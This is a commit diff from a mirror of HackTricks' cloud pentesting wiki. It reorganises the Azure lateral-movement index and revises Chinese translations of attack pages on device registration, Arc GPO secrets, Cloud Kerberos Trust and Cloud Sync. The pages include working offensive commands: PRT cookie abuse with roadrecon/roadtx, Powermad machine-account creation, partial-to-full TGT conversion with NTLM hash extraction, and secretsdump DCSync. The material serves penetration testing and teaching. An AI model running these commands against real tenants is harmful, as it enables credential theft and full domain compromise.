mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-device-registration.
This commit is contained in:
+10
-13
@@ -442,22 +442,19 @@
|
||||
- [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md)
|
||||
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
|
||||
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
|
||||
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
|
||||
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md)
|
||||
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md)
|
||||
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md)
|
||||
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md)
|
||||
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md)
|
||||
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md)
|
||||
- [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
|
||||
- [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
|
||||
- [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
|
||||
@@ -8,9 +8,9 @@
|
||||
|
||||
在注册设备时,**用户需要使用他的账户登录**(如有需要会要求 MFA),然后请求设备注册服务的令牌,最后询问最终确认提示。
|
||||
|
||||
然后,在设备中生成两个 RSA 密钥对:**设备密钥**(**公**钥),该密钥发送到 **AzureAD**,以及 **传输**密钥(**私**钥),如果可能的话存储在 TPM 中。
|
||||
然后,在设备中生成两个 RSA 密钥对:**设备密钥**(**公**钥)发送到 **AzureAD**,**传输**密钥(**私**钥)如果可能则存储在 TPM 中。
|
||||
|
||||
接着,在 **AzureAD** 中生成 **对象**(而不是在 Intune 中),AzureAD 会向设备返回一个由其签名的 **证书**。您可以检查 **设备是否已加入 AzureAD** 以及有关 **证书** 的信息(例如,是否由 TPM 保护)。
|
||||
接着,在 **AzureAD** 中生成 **对象**(而不是在 Intune 中),AzureAD 会向设备返回一个由其签名的 **证书**。您可以检查 **设备是否已加入 AzureAD** 以及有关 **证书** 的信息(例如它是否受到 TPM 保护)。
|
||||
```bash
|
||||
dsregcmd /status
|
||||
```
|
||||
@@ -25,17 +25,17 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
### TPM - 受信任的平台模块
|
||||
|
||||
**TPM** **保护**防止从关闭的设备中**提取**密钥(如果由PIN保护)以及从操作系统层提取私有材料。\
|
||||
但它**不保护**防止**嗅探**TPM与CPU之间的物理连接或**在系统运行时使用TPM中的加密材料**,这可能来自具有**SYSTEM**权限的进程。
|
||||
但它**不保护**防止**嗅探**TPM与CPU之间的物理连接或**在系统运行时使用TPM中的加密材料**,当进程具有**SYSTEM**权限时。
|
||||
|
||||
如果您查看以下页面,您将看到**窃取PRT**可以像**用户**一样访问,这很好,因为**PRT位于设备上**,因此可以从它们中窃取(或者如果没有被窃取,则被滥用以生成新的签名密钥):
|
||||
如果您查看以下页面,您将看到**窃取PRT**可以用于像**用户**一样访问,这很好,因为**PRT位于设备上**,因此可以从它们中窃取(或者如果没有被窃取,则被滥用以生成新的签名密钥):
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## 使用SSO令牌注册设备
|
||||
|
||||
攻击者可以从被攻陷的设备请求Microsoft设备注册服务的令牌并注册它。
|
||||
攻击者可以请求来自被攻陷设备的Microsoft设备注册服务的令牌并注册它:
|
||||
```bash
|
||||
# Initialize SSO flow
|
||||
roadrecon auth prt-init
|
||||
@@ -47,13 +47,13 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
|
||||
# Custom pyhton script to register a device (check roadtx)
|
||||
registerdevice.py
|
||||
```
|
||||
将为您提供一个**可以用来请求未来PRT的证书**。因此,保持持久性并**绕过MFA**,因为用于注册新设备的原始PRT令牌**已经获得了MFA权限**。
|
||||
将为您提供一个**可以用于将来请求PRT的证书**。因此,保持持久性并**绕过MFA**,因为用于注册新设备的原始PRT令牌**已经获得了MFA权限**。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,要执行此攻击,您需要有**注册新设备**的权限。此外,注册设备并不意味着该设备将被**允许注册到Intune**。
|
||||
> 请注意,要执行此攻击,您需要具有**注册新设备**的权限。此外,注册设备并不意味着该设备将被**允许注册到Intune**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 此攻击在2021年9月被修复,因为您无法再使用SSO令牌注册新设备。然而,仍然可以以合法方式注册设备(如果需要,拥有用户名、密码和MFA)。请查看:[**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)。
|
||||
> 此攻击在2021年9月已被修复,因为您无法再使用SSO令牌注册新设备。然而,仍然可以以合法方式注册设备(如果需要,拥有用户名、密码和MFA)。请查看:[**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md)。
|
||||
|
||||
## 覆盖设备票证
|
||||
|
||||
@@ -62,7 +62,7 @@ registerdevice.py
|
||||
<figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> 然而,这已被修复。
|
||||
> 但是,这已被修复。
|
||||
|
||||
## 覆盖WHFB密钥
|
||||
|
||||
@@ -76,17 +76,17 @@ registerdevice.py
|
||||
|
||||
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
用户可以通过Azure AD Graph修改自己的searchableDeviceKey属性,但是,攻击者需要在租户中拥有一个设备(即时注册或从合法设备窃取证书和密钥)以及AAD Graph的有效访问令牌。
|
||||
用户可以通过Azure AD Graph修改自己的searchableDeviceKey属性,但是,攻击者需要在租户中拥有一个设备(动态注册或从合法设备窃取证书+密钥)以及AAD Graph的有效访问令牌。
|
||||
|
||||
然后,可以使用以下方式生成新密钥:
|
||||
然后,可以生成一个新密钥:
|
||||
```bash
|
||||
roadtx genhellokey -d <device id> -k tempkey.key
|
||||
```
|
||||
然后PATCH可搜索的DeviceKey的信息:
|
||||
然后 PATCH 可搜索的 DeviceKey 信息:
|
||||
|
||||
<figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
可以通过**设备代码钓鱼**从用户那里获取访问令牌,并利用之前的步骤**窃取他的访问权限**。有关更多信息,请查看:
|
||||
可以通过 **device code phishing** 从用户那里获取访问令牌,并利用之前的步骤 **窃取他的访问权限**。有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
|
||||
|
||||
@@ -1,65 +1,39 @@
|
||||
# Az - Lateral Movement (Cloud - On-Prem)
|
||||
|
||||
## Az - Lateral Movement (Cloud - On-Prem)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### 连接到云的本地机器
|
||||
## 基本信息
|
||||
|
||||
机器可以通过不同方式连接到云:
|
||||
本节涵盖了从被攻陷的 Entra ID 租户移动到本地 Active Directory (AD) 或从被攻陷的 AD 移动到 Entra ID 租户的横向移动技术。
|
||||
|
||||
#### Azure AD 加入
|
||||
## 横向移动技术
|
||||
|
||||
<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
|
||||
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): 如果攻击者能够控制或创建 AD 计算机帐户并访问 Azure Arc GPO 部署共享,他们可以解密存储的服务主体密钥,并使用它作为相关服务主体进行 Azure 身份验证,从而完全攻陷链接的 Azure 环境。
|
||||
|
||||
#### Workplace 加入
|
||||
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): 当配置了 Cloud Kerberos Trust 时,如何从 Entra ID 切换到 AD。Entra ID (Azure AD) 中的全局管理员可以滥用 Cloud Kerberos Trust 和同步 API 来冒充高权限的 AD 帐户,获取其 Kerberos 票证或 NTLM 哈希,并完全攻陷本地 Active Directory——即使这些帐户从未与云同步——有效地实现云到 AD 的权限提升。
|
||||
|
||||
<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Cloud Sync**](az-cloud-sync.md): 如何滥用 Cloud Sync 从云移动到本地 AD 及反向操作。
|
||||
|
||||
#### 混合加入
|
||||
- [**Connect Sync**](az-connect-sync.md): 如何滥用 Connect Sync 从云移动到本地 AD 及反向操作。
|
||||
|
||||
<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Domain Services**](az-domain-services.md): Azure 域服务是什么,以及如何从 Entra ID 切换到它生成的 AD。
|
||||
|
||||
#### 在 AADJ 或混合上加入 Workplace
|
||||
- [**Federation**](az-federation.md): 如何滥用 Federation 从云移动到本地 AD 及反向操作。
|
||||
|
||||
<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large</a></p></figcaption></figure>
|
||||
- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): 可用于从云移动到本地 AD 及反向操作的杂项攻击。
|
||||
|
||||
### 令牌和限制 <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
|
||||
- [**Local Cloud Credentials**](az-local-cloud-credentials.md): 当 PC 被攻陷时,在哪里找到云的凭据。
|
||||
|
||||
在 Azure AD 中,有不同类型的令牌,具有特定的限制:
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md): 基于 PRT 生成证书以从一台机器登录到另一台机器。
|
||||
|
||||
- **访问令牌**:用于访问 API 和资源,如 Microsoft Graph。它们与特定的客户端和资源绑定。
|
||||
- **刷新令牌**:发放给应用程序以获取新的访问令牌。它们只能由发放给它们的应用程序或一组应用程序使用。
|
||||
- **主刷新令牌 (PRT)**:用于 Azure AD 加入、注册或混合加入设备的单点登录。它们可以在浏览器登录流程中使用,也可以用于在设备上登录移动和桌面应用程序。
|
||||
- **Windows Hello for Business 密钥 (WHFB)**:用于无密码身份验证。用于获取主刷新令牌。
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): 从浏览器窃取 Azure cookie 并使用它们登录。
|
||||
|
||||
最有趣的令牌类型是主刷新令牌 (PRT)。
|
||||
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): 什么是 PRT,如何窃取它并使用它冒充用户访问 Azure 资源。
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): 如何滥用 Pass-through Authentication 从云移动到本地 AD 及反向操作。
|
||||
|
||||
### 透传技术
|
||||
- [**Seamless SSO**](az-seamless-sso.md): 如何滥用 Seamless SSO 从本地移动到云。
|
||||
|
||||
从 **被攻陷的机器到云**:
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): 从浏览器窃取 Azure cookie 并使用它们登录
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md): 转储与云同步的本地进程的内存(如 excel、Teams...)并找到明文访问令牌。
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** 钓鱼 PRT 以滥用它
|
||||
- [**Pass the PRT**](pass-the-prt.md): 窃取设备 PRT 以冒充访问 Azure。
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** 基于 PRT 生成证书以从一台机器登录到另一台机器
|
||||
|
||||
从攻陷 **AD** 到攻陷 **云**,再从攻陷 **云** 到攻陷 **AD**:
|
||||
|
||||
- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
|
||||
- **从云到本地的另一种透传方式是** [**滥用 Intune**](../az-services/intune.md)
|
||||
|
||||
#### [Roadtx](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
该工具允许执行多种操作,如在 Azure AD 中注册机器以获取 PRT,并使用 PRT(合法或被窃取)以多种方式访问资源。这些不是直接攻击,但它促进了使用 PRT 以不同方式访问资源。更多信息请查看 [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
|
||||
|
||||
## 参考
|
||||
|
||||
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- **从云到本地的另一种横向移动方式是** [**滥用 Intune**](../az-services/intune.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+4
-4
@@ -27,10 +27,10 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
|
||||
我们有以下条件:
|
||||
|
||||
1. 我们已经成功渗透了内部网络。
|
||||
2. 我们有能力在 Active Directory 中创建或控制计算机帐户。
|
||||
3. 我们发现了一个包含 AzureArcDeploy 目录的网络共享。
|
||||
2. 我们有能力在Active Directory中创建或控制计算机账户。
|
||||
3. 我们发现了一个包含AzureArcDeploy目录的网络共享。
|
||||
|
||||
在 AD 环境中获取计算机帐户有几种方法。最常见的方法之一是利用计算机帐户配额。另一种方法涉及通过易受攻击的 ACL 或各种其他错误配置来破坏计算机帐户。
|
||||
在AD环境中获取计算机账户有几种方法。最常见的方法之一是利用计算机账户配额。另一种方法涉及通过脆弱的ACL或各种其他错误配置来妥协计算机账户。
|
||||
```bash
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
@@ -54,7 +54,7 @@ $ebs
|
||||
```
|
||||
另外,我们可以使用 [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG)。
|
||||
|
||||
此时,我们可以从存储在与 encryptedServicePrincipalSecret 文件相同的网络共享上的 ArcInfo.json 文件中收集连接到 Azure 所需的其余信息。该文件包含以下详细信息:TenantId、servicePrincipalClientId、ResourceGroup 等。凭借这些信息,我们可以使用 Azure CLI 作为被攻陷的服务主体进行身份验证。
|
||||
此时,我们可以从存储在与 encryptedServicePrincipalSecret 文件相同的网络共享上的 ArcInfo.json 文件中收集连接到 Azure 所需的其余信息。该文件包含以下详细信息:TenantId、servicePrincipalClientId、ResourceGroup 等。凭借这些信息,我们可以使用 Azure CLI 以被攻陷的服务主体进行身份验证。
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+10
-10
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**本文是** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **的总结,可以查看以获取有关攻击的更多信息。此技术也在** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**中进行了评论。**
|
||||
**本文是** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **的总结,可以查看以获取有关攻击的更多信息。此技术在** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**中也有评论。**
|
||||
|
||||
## Kerberos Trust Relationship Overview
|
||||
|
||||
@@ -24,14 +24,14 @@
|
||||
|
||||
**攻击步骤:**
|
||||
|
||||
1. **获取 Azure AD 同步 API 访问权限:** 使用全局管理员账户,获取 Azure AD **Provisioning (sync) API** 的访问令牌。这可以使用 **ROADtools** 或 **AADInternals** 等工具完成。例如,使用 ROADtools (roadtx):
|
||||
1. **获取 Azure AD 同步 API 访问权限:** 使用全局管理员账户,获取 Azure AD **Provisioning (sync) API** 的访问令牌。这可以通过 **ROADtools** 或 **AADInternals** 等工具完成。例如,使用 ROADtools (roadtx):
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(或者,可以使用 AADInternals 的 `Connect-AADInt` 作为全局管理员进行身份验证。)*
|
||||
*(或者,可以使用 AADInternals 的 `Connect-AADInt` 作为全球管理员进行身份验证。)*
|
||||
|
||||
2. **修改混合用户的本地属性:** 利用 Azure AD **同步 API** 将选定混合用户的 **onPremises 安全标识符 (SID)** 和 **onPremises SAMAccountName** 设置为与目标 AD 账户匹配。这有效地告诉 Azure AD 云用户对应于我们想要冒充的本地账户。使用开源的 **ROADtools Hybrid** 工具包:
|
||||
2. **修改混合用户的本地属性:** 利用 Azure AD **同步 API** 将所选混合用户的 **onPremises 安全标识符 (SID)** 和 **onPremises SAMAccountName** 设置为与目标 AD 账户匹配。这有效地告诉 Azure AD 云用户对应于我们想要冒充的本地账户。使用开源的 **ROADtools Hybrid** 工具包:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
@@ -40,27 +40,27 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
```
|
||||
> 用户的 `sourceAnchor`(不可变 ID)用于识别要修改的 Azure AD 对象。该工具将混合用户的本地 SID 和 SAM 账户名称设置为目标的值(例如,MSOL_xxxx 账户的 SID 和 SAM)。Azure AD 通常不允许通过 Graph 修改这些属性(它们是只读的),但同步服务 API 允许这样做,全球管理员可以调用此同步功能。
|
||||
|
||||
3. **从 Azure AD 获取部分 TGT:** 修改后,以混合用户身份对 Azure AD 进行身份验证(例如,通过在设备上获取 PRT 或使用他们的凭据)。当用户登录时(特别是在域加入或 Entra 加入的 Windows 设备上),Azure AD 将为该账户发放 **部分 Kerberos TGT (TGT**<sub>**AD**</sub>),因为启用了 Cloud Kerberos Trust。此部分 TGT 使用 AzureADKerberos$ RODC 密钥加密,并包含我们设置的 **目标 SID**。我们可以通过 ROADtools 请求用户的 PRT 来模拟这一点:
|
||||
3. **从 Azure AD 获取部分 TGT:** 修改后,以混合用户身份对 Azure AD 进行身份验证(例如,通过在设备上获取 PRT 或使用他们的凭据)。当用户登录时(特别是在域加入或 Entra 加入的 Windows 设备上),Azure AD 将为该账户发放 **部分 Kerberos TGT (TGT**<sub>**AD**</sub>),因为启用了 Cloud Kerberos Trust。此部分 TGT 使用 AzureADKerberos$ RODC 密钥加密,并包含我们设置的 **目标 SID**。我们可以通过 ROADtools 为用户请求 PRT 来模拟这一点:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
这会输出一个 `.prt` 文件,其中包含部分 TGT 和会话密钥。如果该账户是云端唯一密码,Azure AD 仍然会在 PRT 响应中包含 TGT_AD。
|
||||
这会输出一个 `.prt` 文件,其中包含部分 TGT 和会话密钥。如果账户是云专用密码,Azure AD 仍然在 PRT 响应中包含 TGT_AD。
|
||||
|
||||
4. **用部分 TGT 交换完整 TGT(在 AD 上):** 现在可以将部分 TGT 提交给本地域控制器,以获取目标账户的 **完整 TGT**。我们通过对 `krbtgt` 服务(域的主要 TGT 服务)执行 TGS 请求来实现这一点——本质上是将票证升级为带有完整 PAC 的正常 TGT。可以使用工具来自动化此交换。例如,使用 ROADtools Hybrid 的脚本:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
这个脚本(或 ImPacket 等效工具)将联系域控制器并为目标 AD 账户检索有效的 TGT,包括如果使用了特殊的 Kerberos 扩展,则该账户的 NTLM 哈希。**`KERB-KEY-LIST-REQ`** 扩展会自动包含,以请求 DC 在加密回复中返回目标账户的 NTLM 哈希。结果是一个凭证缓存(`full_tgt.ccache`),用于目标账户 *或* 恢复的 NTLM 密码哈希。
|
||||
这个脚本(或 ImPacket 等效工具)将联系域控制器并为目标 AD 账户检索有效的 TGT,包括账户的 NTLM 哈希(如果使用了特殊的 Kerberos 扩展)。**`KERB-KEY-LIST-REQ`** 扩展会自动包含,以请求 DC 在加密回复中返回目标账户的 NTLM 哈希。结果是一个凭证缓存(`full_tgt.ccache`),用于目标账户 *或* 恢复的 NTLM 密码哈希。
|
||||
|
||||
5. **模拟目标并提升为域管理员:** 现在攻击者有效地 **控制了目标 AD 账户**。例如,如果目标是 AD Connect **MSOL 账户**,它在目录上具有复制权限。攻击者可以使用该账户的凭证或 Kerberos TGT 执行 **DCSync** 攻击,从 AD 中转储密码哈希(包括域 KRBTGT 账户)。例如:
|
||||
5. **冒充目标并提升为域管理员:** 现在攻击者有效地 **控制了目标 AD 账户**。例如,如果目标是 AD Connect **MSOL 账户**,它在目录上具有复制权限。攻击者可以使用该账户的凭证或 Kerberos TGT 执行 **DCSync** 攻击,从 AD 中转储密码哈希(包括域 KRBTGT 账户)。例如:
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
这会转储所有 AD 用户密码哈希,给攻击者 KRBTGT 哈希(让他们随意伪造域 Kerberos 票证)并有效地获得 **域管理员** 权限。如果目标账户是另一个特权用户,攻击者可以使用完整的 TGT 以该用户身份访问任何域资源。
|
||||
这会转储所有 AD 用户密码哈希,给攻击者 KRBTGT 哈希(让他们可以随意伪造域 Kerberos 票证)并有效地获得对 AD 的 **域管理员** 权限。如果目标账户是另一个特权用户,攻击者可以使用完整的 TGT 以该用户的身份访问任何域资源。
|
||||
|
||||
6. **清理:** 可选地,攻击者可以通过相同的 API 恢复被修改的 Azure AD 用户的原始 `onPremisesSAMAccountName` 和 SID,或简单地删除任何创建的临时用户。在许多情况下,下一个 Azure AD Connect 同步周期将自动还原同步属性上的未经授权的更改。(然而,到那时损害已经造成——攻击者已获得 DA 权限。)
|
||||
6. **清理:** 可选地,攻击者可以通过相同的 API 恢复被修改的 Azure AD 用户的原始 `onPremisesSAMAccountName` 和 SID,或简单地删除任何创建的临时用户。在许多情况下,下一个 Azure AD Connect 同步周期将自动还原同步属性上的未经授权的更改。(然而,到那时损害已经造成——攻击者已经获得 DA 权限。)
|
||||
|
||||
> [!WARNING]
|
||||
> 通过滥用云信任和同步机制,Azure AD 的全局管理员可以冒充几乎 *任何* 没有被 RODC 策略明确保护的 AD 账户,即使该账户从未进行过云同步。在默认配置下,这 **建立了从 Azure AD 破坏到本地 AD 破坏的完全信任**。
|
||||
+16
-16
@@ -12,20 +12,20 @@
|
||||
|
||||
为了使其正常工作,在 Entra ID 和本地目录中创建了一些主体:
|
||||
|
||||
- 在 Entra ID 中,用户 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) 被创建,角色为 **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`)。
|
||||
- 在 Entra ID 中,创建了用户 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`),其角色为 **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`)。
|
||||
|
||||
> [!WARNING]
|
||||
> 此角色曾经拥有很多特权权限,可以用来 [**提升权限甚至到全局管理员**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。然而,Microsoft 决定移除此角色的所有权限,并仅分配一个新的 **`microsoft.directory/onPremisesSynchronization/standard/read`**,这实际上不允许执行任何特权操作(如修改用户的密码或属性或向 SP 添加新凭据)。
|
||||
> 此角色曾经拥有许多特权权限,可以用于 [**提升权限甚至到全局管理员**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。然而,Microsoft 决定删除此角色的所有权限,并仅分配一个新角色 **`microsoft.directory/onPremisesSynchronization/standard/read`**,该角色实际上不允许执行任何特权操作(如修改用户的密码或属性或向 SP 添加新凭据)。
|
||||
|
||||
- 在 Entra ID 中,还创建了没有成员或所有者的组 **`AAD DC Administrators`**。如果使用 [`Microsoft Entra Domain Services`](./az-domain-services.md),此组非常有用。
|
||||
|
||||
- 在 AD 中,服务帐户 **`provAgentgMSA`** 被创建,SamAccountName 类似于 **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`),或者需要具有 [**这些权限的自定义帐户**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)。通常会创建默认帐户。
|
||||
- 在 AD 中,创建了服务帐户 **`provAgentgMSA`**,其 SamAccountName 类似于 **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`),或者需要具有 [**这些权限的自定义帐户**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)。通常会创建默认帐户。
|
||||
|
||||
> [!WARNING]
|
||||
> 除其他权限外,服务帐户 **`provAgentgMSA`** 拥有 DCSync 权限,允许 **任何人如果妥协它就可以妥协整个目录**。有关 DCSync 的更多信息,请查看 [DCSync](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
|
||||
